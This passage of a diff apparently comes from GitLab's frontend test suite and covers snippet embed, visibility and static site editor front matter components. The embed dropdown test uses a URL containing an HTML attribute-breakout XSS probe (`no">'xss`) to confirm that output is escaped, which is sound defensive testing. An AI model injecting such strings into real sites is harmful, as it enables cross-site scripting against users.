+import { mount } from '@vue/test-utils';
+import { GlFormInputGroup } from '@gitlab/ui';
+import { TEST_HOST } from 'helpers/test_constants';
+import EmbedDropdown from '~/snippets/components/embed_dropdown.vue';
+
+const TEST_URL = `${TEST_HOST}/test/no">'xss`;
+
+describe('snippets/components/embed_dropdown', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = mount(EmbedDropdown, {
+ propsData: {
+ url: TEST_URL,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findSectionsData = () => {
+ const sections = [];
+ let current = {};
+
+ wrapper.findAll('[data-testid="header"],[data-testid="input"]').wrappers.forEach(x => {
+ const type = x.attributes('data-testid');
+
+ if (type === 'header') {
+ current = {
+ header: x.text(),
+ };
+
+ sections.push(current);
+ } else {
+ const value = x.find(GlFormInputGroup).props('value');
+ const copyValue = x.find('button[title="Copy"]').attributes('data-clipboard-text');
+
+ Object.assign(current, {
+ value,
+ copyValue,
+ });
+ }
+ });
+
+ return sections;
+ };
+
+ it('renders dropdown items', () => {
+ createComponent();
+
+ const embedValue = `<script src="${esc(TEST_URL)}.js"></script>`;
+
+ expect(findSectionsData()).toEqual([
+ {
+ header: 'Embed',
+ value: embedValue,
+ copyValue: embedValue,
+ },
+ {
+ header: 'Share',
+ value: TEST_URL,
+ copyValue: TEST_URL,
+ },
+ ]);
+ });
+});
diff --git a/spec/frontend/snippets/components/show_spec.js b/spec/frontend/snippets/components/show_spec.js
index 8cccbb83d54..b5ab7def753 100644
--- a/spec/frontend/snippets/components/show_spec.js
+++ b/spec/frontend/snippets/components/show_spec.js
@@ -2,7 +2,7 @@ import { GlLoadingIcon } from '@gitlab/ui';
import { Blob, BinaryBlob } from 'jest/blob/components/mock_data';
import { shallowMount } from '@vue/test-utils';
import SnippetApp from '~/snippets/components/show.vue';
-import BlobEmbeddable from '~/blob/components/blob_embeddable.vue';
+import EmbedDropdown from '~/snippets/components/embed_dropdown.vue';
import SnippetHeader from '~/snippets/components/snippet_header.vue';
import SnippetTitle from '~/snippets/components/snippet_title.vue';
import SnippetBlob from '~/snippets/components/snippet_blob_view.vue';
@@ -57,7 +57,7 @@ describe('Snippet view app', () => {
expect(wrapper.find(SnippetTitle).exists()).toBe(true);
});
- it('renders embeddable component if visibility allows', () => {
+ it('renders embed dropdown component if visibility allows', () => {
createComponent({
data: {
snippet: {
@@ -66,7 +66,7 @@ describe('Snippet view app', () => {
},
},
});
- expect(wrapper.contains(BlobEmbeddable)).toBe(true);
+ expect(wrapper.find(EmbedDropdown).exists()).toBe(true);
});
it('renders correct snippet-blob components', () => {
@@ -88,7 +88,7 @@ describe('Snippet view app', () => {
${SNIPPET_VISIBILITY_PRIVATE} | ${'not render'} | ${false}
${'foo'} | ${'not render'} | ${false}
${SNIPPET_VISIBILITY_PUBLIC} | ${'render'} | ${true}
- `('does $condition blob-embeddable by default', ({ visibilityLevel, isRendered }) => {
+ `('does $condition embed-dropdown by default', ({ visibilityLevel, isRendered }) => {
createComponent({
data: {
snippet: {
@@ -97,7 +97,7 @@ describe('Snippet view app', () => {
},
},
});
- expect(wrapper.contains(BlobEmbeddable)).toBe(isRendered);
+ expect(wrapper.find(EmbedDropdown).exists()).toBe(isRendered);
});
});
@@ -119,7 +119,7 @@ describe('Snippet view app', () => {
},
},
});
- expect(wrapper.contains(CloneDropdownButton)).toBe(isRendered);
+ expect(wrapper.find(CloneDropdownButton).exists()).toBe(isRendered);
},
);
});
diff --git a/spec/frontend/snippets/components/snippet_blob_edit_spec.js b/spec/frontend/snippets/components/snippet_blob_edit_spec.js
index 188f9ae5cf1..fc4da46d722 100644
--- a/spec/frontend/snippets/components/snippet_blob_edit_spec.js
+++ b/spec/frontend/snippets/components/snippet_blob_edit_spec.js
@@ -17,6 +17,7 @@ const TEST_PATH = 'foo/bar/test.md';
const TEST_RAW_PATH = '/gitlab/raw/path/to/blob/7';
const TEST_FULL_PATH = joinPaths(TEST_HOST, TEST_RAW_PATH);
const TEST_CONTENT = 'Lorem ipsum dolar sit amet,\nconsectetur adipiscing elit.';
+const TEST_JSON_CONTENT = '{"abc":"lorem ipsum"}';
const TEST_BLOB = {
id: TEST_ID,
@@ -66,7 +67,7 @@ describe('Snippet Blob Edit component', () => {
});
describe('with not loaded blob', () => {
- beforeEach(async () => {
+ beforeEach(() => {
createComponent();
});
@@ -100,6 +101,20 @@ describe('Snippet Blob Edit component', () => {
});
});
+ describe('with unloaded blob and JSON content', () => {
+ beforeEach(() => {
+ axiosMock.onGet(TEST_FULL_PATH).reply(200, TEST_JSON_CONTENT);
+ createComponent();
+ });
+
+ // This checks against this issue https://gitlab.com/gitlab-org/gitlab/-/issues/241199
+ it('emits raw content', async () => {
+ await waitForPromises();
+
+ expect(getLastUpdatedArgs()).toEqual({ content: TEST_JSON_CONTENT });
+ });
+ });
+
describe('with error', () => {
beforeEach(() => {
axiosMock.reset();
diff --git a/spec/frontend/snippets/components/snippet_header_spec.js b/spec/frontend/snippets/components/snippet_header_spec.js
index da8cb2e6a8d..5836de1fdbe 100644
--- a/spec/frontend/snippets/components/snippet_header_spec.js
+++ b/spec/frontend/snippets/components/snippet_header_spec.js
@@ -5,6 +5,7 @@ import { Blob, BinaryBlob } from 'jest/blob/components/mock_data';
import waitForPromises from 'helpers/wait_for_promises';
import DeleteSnippetMutation from '~/snippets/mutations/deleteSnippet.mutation.graphql';
import SnippetHeader from '~/snippets/components/snippet_header.vue';
+import { differenceInMilliseconds } from '~/lib/utils/datetime_utility';
describe('Snippet header component', () => {
let wrapper;
@@ -14,6 +15,7 @@ describe('Snippet header component', () => {
let errorMsg;
let err;
+ const originalRelativeUrlRoot = gon.relative_url_root;
function createComponent({
loading = false,
@@ -50,6 +52,7 @@ describe('Snippet header component', () => {
}
beforeEach(() => {
+ gon.relative_url_root = '/foo/';
snippet = {
id: 'gid://gitlab/PersonalSnippet/50',
title: 'The property of Thor',
@@ -65,7 +68,7 @@ describe('Snippet header component', () => {
name: 'Thor Odinson',
},
blobs: [Blob],
- createdAt: new Date(Date.now() - 32 * 24 * 3600 * 1000).toISOString(),
+ createdAt: new Date(differenceInMilliseconds(32 * 24 * 3600 * 1000)).toISOString(),
};
mutationVariables = {
@@ -86,6 +89,7 @@ describe('Snippet header component', () => {
afterEach(() => {
wrapper.destroy();
+ gon.relative_url_root = originalRelativeUrlRoot;
});
it('renders itself', () => {
@@ -213,7 +217,7 @@ describe('Snippet header component', () => {
it('redirects to dashboard/snippets for personal snippet', () => {
return createDeleteSnippet().then(() => {
expect(wrapper.vm.closeDeleteModal).toHaveBeenCalled();
- expect(window.location.pathname).toBe('dashboard/snippets');
+ expect(window.location.pathname).toBe(`${gon.relative_url_root}dashboard/snippets`);
});
});
diff --git a/spec/frontend/snippets/components/snippet_visibility_edit_spec.js b/spec/frontend/snippets/components/snippet_visibility_edit_spec.js
index a8df13787a5..3919e4d7993 100644
--- a/spec/frontend/snippets/components/snippet_visibility_edit_spec.js
+++ b/spec/frontend/snippets/components/snippet_visibility_edit_spec.js
@@ -1,31 +1,55 @@
import { GlFormRadio, GlIcon, GlFormRadioGroup, GlLink } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
import SnippetVisibilityEdit from '~/snippets/components/snippet_visibility_edit.vue';
+import { defaultSnippetVisibilityLevels } from '~/snippets/utils/blob';
import {
SNIPPET_VISIBILITY,
SNIPPET_VISIBILITY_PRIVATE,
SNIPPET_VISIBILITY_INTERNAL,
SNIPPET_VISIBILITY_PUBLIC,
+ SNIPPET_LEVELS_RESTRICTED,
+ SNIPPET_LEVELS_DISABLED,
} from '~/snippets/constants';
describe('Snippet Visibility Edit component', () => {
let wrapper;
const defaultHelpLink = '/foo/bar';
const defaultVisibilityLevel = 'private';
-
- function createComponent(propsData = {}, deep = false) {
+ const defaultVisibility = defaultSnippetVisibilityLevels([0, 10, 20]);
+
+ function createComponent({
+ propsData = {},
+ visibilityLevels = defaultVisibility,
+ multipleLevelsRestricted = false,
+ deep = false,
+ } = {}) {
const method = deep ? mount : shallowMount;
+ const $apollo = {
+ queries: {
+ defaultVisibility: {
+ loading: false,
+ },
+ },
+ };
+
wrapper = method.call(this, SnippetVisibilityEdit, {
+ mock: { $apollo },
propsData: {
helpLink: defaultHelpLink,
isProjectSnippet: false,
value: defaultVisibilityLevel,
...propsData,
},
+ data() {
+ return {
+ visibilityLevels,
+ multipleLevelsRestricted,
+ };
+ },
});
}
- const findLabel = () => wrapper.find('label');
+ const findLink = () => wrapper.find('label').find(GlLink);
const findRadios = () => wrapper.find(GlFormRadioGroup).findAll(GlFormRadio);
const findRadiosData = () =>
findRadios().wrappers.map(x => {
@@ -47,56 +71,84 @@ describe('Snippet Visibility Edit component', () => {
expect(wrapper.element).toMatchSnapshot();
});
- it('renders visibility options', () => {
- createComponent({}, true);
+ it('renders label help link', () => {
+ createComponent();
+
+ expect(findLink().attributes('href')).toBe(defaultHelpLink);
+ });
+
+ it('when helpLink is not defined, does not render label help link', () => {
+ createComponent({ propsData: { helpLink: null } });
- expect(findRadiosData()).toEqual([
- {
+ expect(findLink().exists()).toBe(false);
+ });
+
+ describe('Visibility options', () => {
+ const findRestrictedInfo = () => wrapper.find('[data-testid="restricted-levels-info"]');
+ const RESULTING_OPTIONS = {
+ 0: {
value: SNIPPET_VISIBILITY_PRIVATE,
icon: SNIPPET_VISIBILITY.private.icon,
text: SNIPPET_VISIBILITY.private.label,
description: SNIPPET_VISIBILITY.private.description,
},
- {
+ 10: {
value: SNIPPET_VISIBILITY_INTERNAL,
icon: SNIPPET_VISIBILITY.internal.icon,
text: SNIPPET_VISIBILITY.internal.label,
description: SNIPPET_VISIBILITY.internal.description,
},
- {
+ 20: {
value: SNIPPET_VISIBILITY_PUBLIC,
icon: SNIPPET_VISIBILITY.public.icon,
text: SNIPPET_VISIBILITY.public.label,
description: SNIPPET_VISIBILITY.public.description,
},
- ]);
- });
-
- it('when project snippet, renders special private description', () => {
- createComponent({ isProjectSnippet: true }, true);
+ };
- expect(findRadiosData()[0]).toEqual({
- value: SNIPPET_VISIBILITY_PRIVATE,
- icon: SNIPPET_VISIBILITY.private.icon,
- text: SNIPPET_VISIBILITY.private.label,
- description: SNIPPET_VISIBILITY.private.description_project,
+ it.each`
+ levels | resultOptions
+ ${undefined} | ${[]}
+ ${''} | ${[]}
+ ${[]} | ${[]}
+ ${[0]} | ${[RESULTING_OPTIONS[0]]}
+ ${[0, 10]} | ${[RESULTING_OPTIONS[0], RESULTING_OPTIONS[10]]}
+ ${[0, 10, 20]} | ${[RESULTING_OPTIONS[0], RESULTING_OPTIONS[10], RESULTING_OPTIONS[20]]}
+ ${[0, 20]} | ${[RESULTING_OPTIONS[0], RESULTING_OPTIONS[20]]}
+ ${[10, 20]} | ${[RESULTING_OPTIONS[10], RESULTING_OPTIONS[20]]}
+ `('renders correct visibility options for $levels', ({ levels, resultOptions }) => {
+ createComponent({ visibilityLevels: defaultSnippetVisibilityLevels(levels), deep: true });
+ expect(findRadiosData()).toEqual(resultOptions);
});
- });
- it('renders label help link', () => {
- createComponent();
-
- expect(
- findLabel()
- .find(GlLink)
- .attributes('href'),
- ).toBe(defaultHelpLink);
- });
+ it.each`
+ levels | levelsRestricted | resultText
+ ${[]} | ${false} | ${SNIPPET_LEVELS_DISABLED}
+ ${[]} | ${true} | ${SNIPPET_LEVELS_DISABLED}
+ ${[0]} | ${true} | ${SNIPPET_LEVELS_RESTRICTED}
+ ${[0]} | ${false} | ${''}
+ ${[0, 10, 20]} | ${false} | ${''}
+ `(
+ 'renders correct information about restricted visibility levels for $levels',
+ ({ levels, levelsRestricted, resultText }) => {
+ createComponent({
+ visibilityLevels: defaultSnippetVisibilityLevels(levels),
+ multipleLevelsRestricted: levelsRestricted,
+ });
+ expect(findRestrictedInfo().text()).toBe(resultText);
+ },
+ );
- it('when helpLink is not defined, does not render label help link', () => {
- createComponent({ helpLink: null });
+ it('when project snippet, renders special private description', () => {
+ createComponent({ propsData: { isProjectSnippet: true }, deep: true });
- expect(findLabel().contains(GlLink)).toBe(false);
+ expect(findRadiosData()[0]).toEqual({
+ value: SNIPPET_VISIBILITY_PRIVATE,
+ icon: SNIPPET_VISIBILITY.private.icon,
+ text: SNIPPET_VISIBILITY.private.label,
+ description: SNIPPET_VISIBILITY.private.description_project,
+ });
+ });
});
});
@@ -104,7 +156,7 @@ describe('Snippet Visibility Edit component', () => {
it('pre-selects correct option in the list', () => {
const value = SNIPPET_VISIBILITY_INTERNAL;
- createComponent({ value });
+ createComponent({ propsData: { value } });
expect(wrapper.find(GlFormRadioGroup).attributes('checked')).toBe(value);
});
diff --git a/spec/frontend/static_site_editor/components/edit_area_spec.js b/spec/frontend/static_site_editor/components/edit_area_spec.js
index f4be911171e..7e90b53dd07 100644
--- a/spec/frontend/static_site_editor/components/edit_area_spec.js
+++ b/spec/frontend/static_site_editor/components/edit_area_spec.js
@@ -6,11 +6,13 @@ import { EDITOR_TYPES } from '~/vue_shared/components/rich_content_editor/consta
import EditArea from '~/static_site_editor/components/edit_area.vue';
import PublishToolbar from '~/static_site_editor/components/publish_toolbar.vue';
import EditHeader from '~/static_site_editor/components/edit_header.vue';
+import EditDrawer from '~/static_site_editor/components/edit_drawer.vue';
import UnsavedChangesConfirmDialog from '~/static_site_editor/components/unsaved_changes_confirm_dialog.vue';
import {
sourceContentTitle as title,
- sourceContent as content,
+ sourceContentYAML as content,
+ sourceContentHeaderObjYAML as headerSettings,
sourceContentBody as body,
returnUrl,
} from '../mock_data';
@@ -36,6 +38,7 @@ describe('~/static_site_editor/components/edit_area.vue', () => {
};
const findEditHeader = () => wrapper.find(EditHeader);
+ const findEditDrawer = () => wrapper.find(EditDrawer);
const findRichContentEditor = () => wrapper.find(RichContentEditor);
const findPublishToolbar = () => wrapper.find(PublishToolbar);
const findUnsavedChangesConfirmDialog = () => wrapper.find(UnsavedChangesConfirmDialog);
@@ -46,6 +49,7 @@ describe('~/static_site_editor/components/edit_area.vue', () => {
afterEach(() => {
wrapper.destroy();
+ wrapper = null;
});
it('renders edit header', () => {
@@ -53,6 +57,10 @@ describe('~/static_site_editor/components/edit_area.vue', () => {
expect(findEditHeader().props('title')).toBe(title);
});
+ it('renders edit drawer', () => {
+ expect(findEditDrawer().exists()).toBe(true);
+ });
+
it('renders rich content editor with a format pass', () => {
expect(findRichContentEditor().exists()).toBe(true);
expect(findRichContentEditor().props('content')).toBe(formattedBody);
@@ -81,7 +89,7 @@ describe('~/static_site_editor/components/edit_area.vue', () => {
it('updates parsedSource with new content', () => {
const newContent = 'New content';
- const spySyncParsedSource = jest.spyOn(wrapper.vm.parsedSource, 'sync');
+ const spySyncParsedSource = jest.spyOn(wrapper.vm.parsedSource, 'syncContent');
findRichContentEditor().vm.$emit('input', newContent);
@@ -148,11 +156,88 @@ describe('~/static_site_editor/components/edit_area.vue', () => {
});
});
+ describe('when content has front matter', () => {
+ it('renders a closed edit drawer', () => {
+ expect(findEditDrawer().exists()).toBe(true);
+ expect(findEditDrawer().props('isOpen')).toBe(false);
+ });
+
+ it('opens the edit drawer', () => {
+ findPublishToolbar().vm.$emit('editSettings');
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(findEditDrawer().props('isOpen')).toBe(true);
+ });
+ });
+
+ it('closes the edit drawer', () => {
+ findEditDrawer().vm.$emit('close');
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(findEditDrawer().props('isOpen')).toBe(false);
+ });
+ });
+
+ it('forwards the matter settings when the drawer is open', () => {
+ findPublishToolbar().vm.$emit('editSettings');
+
+ jest.spyOn(wrapper.vm.parsedSource, 'matter').mockReturnValueOnce(headerSettings);
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(findEditDrawer().props('settings')).toEqual(headerSettings);
+ });
+ });
+
+ it('enables toolbar submit button', () => {
+ expect(findPublishToolbar().props('hasSettings')).toBe(true);
+ });
+
+ it('syncs matter changes regardless of edit mode', () => {
+ const newSettings = { title: 'test' };
+ const spySyncParsedSource = jest.spyOn(wrapper.vm.parsedSource, 'syncMatter');
+
+ findEditDrawer().vm.$emit('updateSettings', newSettings);
+
+ expect(spySyncParsedSource).toHaveBeenCalledWith(newSettings);
+ });
+
+ it('syncs matter changes to content in markdown mode', () => {
+ wrapper.setData({ editorMode: EDITOR_TYPES.markdown });
+
+ const newSettings = { title: 'test' };
+
+ findEditDrawer().vm.$emit('updateSettings', newSettings);
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(findRichContentEditor().props('content')).toContain('title: test');
+ });
+ });
+ });
+
+ describe('when content lacks front matter', () => {
+ beforeEach(() => {
+ buildWrapper({ content: body });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('does not render edit drawer', () => {
+ expect(findEditDrawer().exists()).toBe(false);
+ });
+
+ it('does not enable toolbar submit button', () => {
+ expect(findPublishToolbar().props('hasSettings')).toBe(false);
+ });
+ });
+
describe('when content is submitted', () => {
it('should format the content', () => {
findPublishToolbar().vm.$emit('submit', content);
expect(wrapper.emitted('submit')[0][0].content).toBe(`${content} format-pass format-pass`);
+ expect(wrapper.emitted('submit').length).toBe(1);
});
});
});
diff --git a/spec/frontend/static_site_editor/components/edit_drawer_spec.js b/spec/frontend/static_site_editor/components/edit_drawer_spec.js
new file mode 100644
index 00000000000..c47eef59997
--- /dev/null
+++ b/spec/frontend/static_site_editor/components/edit_drawer_spec.js
@@ -0,0 +1,68 @@
+import { shallowMount } from '@vue/test-utils';
+
+import { GlDrawer } from '@gitlab/ui';
+
+import EditDrawer from '~/static_site_editor/components/edit_drawer.vue';
+import FrontMatterControls from '~/static_site_editor/components/front_matter_controls.vue';
+
+describe('~/static_site_editor/components/edit_drawer.vue', () => {
+ let wrapper;
+
+ const buildWrapper = (propsData = {}) => {
+ wrapper = shallowMount(EditDrawer, {
+ propsData: {
+ isOpen: false,
+ settings: { title: 'Some title' },
+ ...propsData,
+ },
+ });
+ };
+
+ const findFrontMatterControls = () => wrapper.find(FrontMatterControls);
+ const findGlDrawer = () => wrapper.find(GlDrawer);
+
+ beforeEach(() => {
+ buildWrapper();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('renders the GlDrawer', () => {
+ expect(findGlDrawer().exists()).toBe(true);
+ });
+
+ it('renders the FrontMatterControls', () => {
+ expect(findFrontMatterControls().exists()).toBe(true);
+ });
+
+ it('forwards the settings to FrontMatterControls', () => {
+ expect(findFrontMatterControls().props('settings')).toBe(wrapper.props('settings'));
+ });
+
+ it('is closed by default', () => {
+ expect(findGlDrawer().props('open')).toBe(false);
+ });
+
+ it('can open', () => {
+ buildWrapper({ isOpen: true });
+
+ expect(findGlDrawer().props('open')).toBe(true);
+ });
+
+ it.each`
+ event | payload | finderFn
+ ${'close'} | ${undefined} | ${findGlDrawer}
+ ${'updateSettings'} | ${{ some: 'data' }} | ${findFrontMatterControls}
+ `(
+ 'forwards the emitted $event event from the $finderFn with $payload',
+ ({ event, payload, finderFn }) => {
+ finderFn().vm.$emit(event, payload);
+
+ expect(wrapper.emitted(event)[0][0]).toBe(payload);
+ expect(wrapper.emitted(event).length).toBe(1);
+ },
+ );
+});
diff --git a/spec/frontend/static_site_editor/components/front_matter_controls_spec.js b/spec/frontend/static_site_editor/components/front_matter_controls_spec.js
new file mode 100644
index 00000000000..82e8fad643e
--- /dev/null
+++ b/spec/frontend/static_site_editor/components/front_matter_controls_spec.js
@@ -0,0 +1,78 @@
+import { shallowMount } from '@vue/test-utils';
+
+import { GlFormGroup } from '@gitlab/ui';
+import { humanize } from '~/lib/utils/text_utility';
+
+import FrontMatterControls from '~/static_site_editor/components/front_matter_controls.vue';
+
+describe('~/static_site_editor/components/front_matter_controls.vue', () => {
+ let wrapper;
+
+ // TODO Refactor and update `sourceContentHeaderObjYAML` in mock_data when !41230 lands
+ const settings = {
+ layout: 'handbook-page-toc',
+ title: 'Handbook',
+ twitter_image: '/images/tweets/handbook-gitlab.png',
+ suppress_header: true,
+ extra_css: ['sales-and-free-trial-common.css', 'form-to-resource.css'],
+ };
+
+ const buildWrapper = (propsData = {}) => {
+ wrapper = shallowMount(FrontMatterControls, {
+ propsData: {
+ settings,
+ ...propsData,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ buildWrapper();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('should render only the supported GlFormGroup types', () => {
+ expect(wrapper.findAll(GlFormGroup)).toHaveLength(3);
+ });
+
+ it.each`
+ key
+ ${'layout'}
+ ${'title'}
+ ${'twitter_image'}
+ `('renders field when key is $key', ({ key }) => {
+ const glFormGroup = wrapper.find(`#sse-front-matter-form-group-${key}`);
+ const glFormInput = wrapper.find(`#sse-front-matter-control-${key}`);
+
+ expect(glFormGroup.exists()).toBe(true);
+ expect(glFormGroup.attributes().label).toBe(humanize(key));
+
+ expect(glFormInput.exists()).toBe(true);
+ expect(glFormInput.attributes().value).toBe(settings[key]);
+ });
+
+ it.each`
+ key
+ ${'suppress_header'}
+ ${'extra_css'}
+ `('does not render field when key is $key', ({ key }) => {
+ const glFormInput = wrapper.find(`#sse-front-matter-control-${key}`);
+
+ expect(glFormInput.exists()).toBe(false);
+ });
+
+ it('emits updated settings when nested control updates', () => {
+ const elId = `#sse-front-matter-control-title`;
+ const glFormInput = wrapper.find(elId);
+ const newTitle = 'New title';
+
+ glFormInput.vm.$emit('input', newTitle);
+
+ const newSettings = { ...settings, title: newTitle };
+
+ expect(wrapper.emitted('updateSettings')[0][0]).toMatchObject(newSettings);
+ });
+});
diff --git a/spec/frontend/static_site_editor/components/publish_toolbar_spec.js b/spec/frontend/static_site_editor/components/publish_toolbar_spec.js
index 5428ed23266..9ba7e4a94d1 100644
--- a/spec/frontend/static_site_editor/components/publish_toolbar_spec.js
+++ b/spec/frontend/static_site_editor/components/publish_toolbar_spec.js
@@ -1,5 +1,4 @@
import { shallowMount } from '@vue/test-utils';
-import { GlButton } from '@gitlab/ui';
import PublishToolbar from '~/static_site_editor/components/publish_toolbar.vue';
@@ -11,6 +10,7 @@ describe('Static Site Editor Toolbar', () => {
const buildWrapper = (propsData = {}) => {
wrapper = shallowMount(PublishToolbar, {
propsData: {
+ hasSettings: false,
saveable: false,
...propsData,
},
@@ -18,7 +18,8 @@ describe('Static Site Editor Toolbar', () => {
};
const findReturnUrlLink = () => wrapper.find({ ref: 'returnUrlLink' });
- const findSaveChangesButton = () => wrapper.find(GlButton);
+ const findSaveChangesButton = () => wrapper.find({ ref: 'submit' });
+ const findEditSettingsButton = () => wrapper.find({ ref: 'settings' });
beforeEach(() => {
buildWrapper();
@@ -28,6 +29,10 @@ describe('Static Site Editor Toolbar', () => {
wrapper.destroy();
});
+ it('does not render Settings button', () => {
+ expect(findEditSettingsButton().exists()).toBe(false);
+ });
+
it('renders Submit Changes button', () => {
expect(findSaveChangesButton().exists()).toBe(true);
});
@@ -51,6 +56,14 @@ describe('Static Site Editor Toolbar', () => {
expect(findReturnUrlLink().attributes('href')).toBe(returnUrl);
});
+ describe('when providing settings CTA', () => {
+ it('enables Submit Changes button', () => {
+ buildWrapper({ hasSettings: true });
+
+ expect(findEditSettingsButton().exists()).toBe(true);
+ });
+ });
+
describe('when saveable', () => {
it('enables Submit Changes button', () => {
buildWrapper({ saveable: true });
diff --git a/spec/frontend/static_site_editor/graphql/resolvers/file_spec.js b/spec/frontend/static_site_editor/graphql/resolvers/file_spec.js
index 8504d09e0f1..24651543650 100644
--- a/spec/frontend/static_site_editor/graphql/resolvers/file_spec.js
+++ b/spec/frontend/static_site_editor/graphql/resolvers/file_spec.js
@@ -5,7 +5,7 @@ import {
projectId,
sourcePath,
sourceContentTitle as title,
- sourceContent as content,
+ sourceContentYAML as content,
} from '../../mock_data';
jest.mock('~/static_site_editor/services/load_source_content', () => jest.fn());
diff --git a/spec/frontend/static_site_editor/graphql/resolvers/submit_content_changes_spec.js b/spec/frontend/static_site_editor/graphql/resolvers/submit_content_changes_spec.js
index 515b5394594..750b777cf5d 100644
--- a/spec/frontend/static_site_editor/graphql/resolvers/submit_content_changes_spec.js
+++ b/spec/frontend/static_site_editor/graphql/resolvers/submit_content_changes_spec.js
@@ -6,7 +6,7 @@ import {
projectId as project,
sourcePath,
username,
- sourceContent as content,
+ sourceContentYAML as content,
savedContentMeta,
} from '../../mock_data';
diff --git a/spec/frontend/static_site_editor/mock_data.js b/spec/frontend/static_site_editor/mock_data.js
index 96de9b73af0..d861f6c9cd7 100644
--- a/spec/frontend/static_site_editor/mock_data.js
+++ b/spec/frontend/static_site_editor/mock_data.js
@@ -1,19 +1,22 @@
-export const sourceContentHeader = `---
+export const sourceContentHeaderYAML = `---
layout: handbook-page-toc
title: Handbook
-twitter_image: '/images/tweets/handbook-gitlab.png'
+twitter_image: /images/tweets/handbook-gitlab.png
---`;
-export const sourceContentSpacing = `
-`;
+export const sourceContentHeaderObjYAML = {
+ layout: 'handbook-page-toc',
+ title: 'Handbook',
+ twitter_image: '/images/tweets/handbook-gitlab.png',
+};
+export const sourceContentSpacing = `\n`;
export const sourceContentBody = `## On this page
{:.no_toc .hidden-md .hidden-lg}
- TOC
{:toc .hidden-md .hidden-lg}
-![image](path/to/image1.png)
-`;
-export const sourceContent = `${sourceContentHeader}${sourceContentSpacing}${sourceContentBody}`;
+![image](path/to/image1.png)`;
+export const sourceContentYAML = `${sourceContentHeaderYAML}${sourceContentSpacing}${sourceContentBody}`;
export const sourceContentTitle = 'Handbook';
export const username = 'gitlabuser';
diff --git a/spec/frontend/static_site_editor/pages/home_spec.js b/spec/frontend/static_site_editor/pages/home_spec.js
index c5473596df8..41f8a1075c0 100644
--- a/spec/frontend/static_site_editor/pages/home_spec.js
+++ b/spec/frontend/static_site_editor/pages/home_spec.js
@@ -13,7 +13,7 @@ import { TRACKING_ACTION_INITIALIZE_EDITOR } from '~/static_site_editor/constant
import {
projectId as project,
returnUrl,
- sourceContent as content,
+ sourceContentYAML as content,
sourceContentTitle as title,
sourcePath,
username,
diff --git a/spec/frontend/static_site_editor/services/formatter_spec.js b/spec/frontend/static_site_editor/services/formatter_spec.js
index b7600798db9..9e9c4bbd171 100644
--- a/spec/frontend/static_site_editor/services/formatter_spec.js
+++ b/spec/frontend/static_site_editor/services/formatter_spec.js
@@ -1,6 +1,6 @@
import formatter from '~/static_site_editor/services/formatter';
-describe('formatter', () => {
+describe('static_site_editor/services/formatter', () => {
const source = `Some text
<br>
@@ -23,4 +23,17 @@ And even more text`;
it('removes extraneous <br> tags', () => {
expect(formatter(source)).toMatch(sourceWithoutBrTags);
});
+
+ describe('ordered lists with incorrect content indentation', () => {
+ it.each`
+ input | result
+ ${'12. ordered list item\n13.Next ordered list item'} | ${'12. ordered list item\n13.Next ordered list item'}
+ ${'12. ordered list item\n - Next ordered list item'} | ${'12. ordered list item\n - Next ordered list item'}
+ ${'12. ordered list item\n - Next ordered list item'} | ${'12. ordered list item\n - Next ordered list item'}
+ ${'12. ordered list item\n Next ordered list item'} | ${'12. ordered list item\n Next ordered list item'}
+ ${'1. ordered list item\n Next ordered list item'} | ${'1. ordered list item\n Next ordered list item'}
+ `('\ntransforms\n$input \nto\n$result', ({ input, result }) => {
+ expect(formatter(input)).toBe(result);
+ });
+ });
});
diff --git a/spec/frontend/static_site_editor/services/load_source_content_spec.js b/spec/frontend/static_site_editor/services/load_source_content_spec.js
index 87893bb7a6e..54061b7a503 100644
--- a/spec/frontend/static_site_editor/services/load_source_content_spec.js
+++ b/spec/frontend/static_site_editor/services/load_source_content_spec.js
@@ -2,7 +2,12 @@ import Api from '~/api';
import loadSourceContent from '~/static_site_editor/services/load_source_content';
-import { sourceContent, sourceContentTitle, projectId, sourcePath } from '../mock_data';
+import {
+ sourceContentYAML as sourceContent,
+ sourceContentTitle,
+ projectId,
+ sourcePath,
+} from '../mock_data';
describe('loadSourceContent', () => {
describe('requesting source content succeeds', () => {
diff --git a/spec/frontend/static_site_editor/services/parse_source_file_spec.js b/spec/frontend/static_site_editor/services/parse_source_file_spec.js
index 4588548e614..ab9e63f4cd2 100644
--- a/spec/frontend/static_site_editor/services/parse_source_file_spec.js
+++ b/spec/frontend/static_site_editor/services/parse_source_file_spec.js
@@ -1,14 +1,29 @@
-import { sourceContent as content, sourceContentBody as body } from '../mock_data';
+import {
+ sourceContentYAML as content,
+ sourceContentHeaderYAML as yamlFrontMatter,
+ sourceContentHeaderObjYAML as yamlFrontMatterObj,
+ sourceContentBody as body,
+} from '../mock_data';
import parseSourceFile from '~/static_site_editor/services/parse_source_file';
-describe('parseSourceFile', () => {
+describe('static_site_editor/services/parse_source_file', () => {
const contentComplex = [content, content, content].join('');
const complexBody = [body, content, content].join('');
const edit = 'and more';
const newContent = `${content} ${edit}`;
const newContentComplex = `${contentComplex} ${edit}`;
+ describe('unmodified front matter', () => {
+ it.each`
+ parsedSource
+ ${parseSourceFile(content)}
+ ${parseSourceFile(contentComplex)}
+ `('returns $targetFrontMatter when frontMatter queried', ({ parsedSource }) => {
+ expect(parsedSource.matter()).toEqual(yamlFrontMatterObj);
+ });
+ });
+
describe('unmodified content', () => {
it.each`
parsedSource
@@ -34,21 +49,50 @@ describe('parseSourceFile', () => {
);
});
+ describe('modified front matter', () => {
+ const newYamlFrontMatter = '---\nnewKey: newVal\n---';
+ const newYamlFrontMatterObj = { newKey: 'newVal' };
+ const contentWithNewFrontMatter = content.replace(yamlFrontMatter, newYamlFrontMatter);
+ const contentComplexWithNewFrontMatter = contentComplex.replace(
+ yamlFrontMatter,
+ newYamlFrontMatter,
+ );
+
+ it.each`
+ parsedSource | targetContent
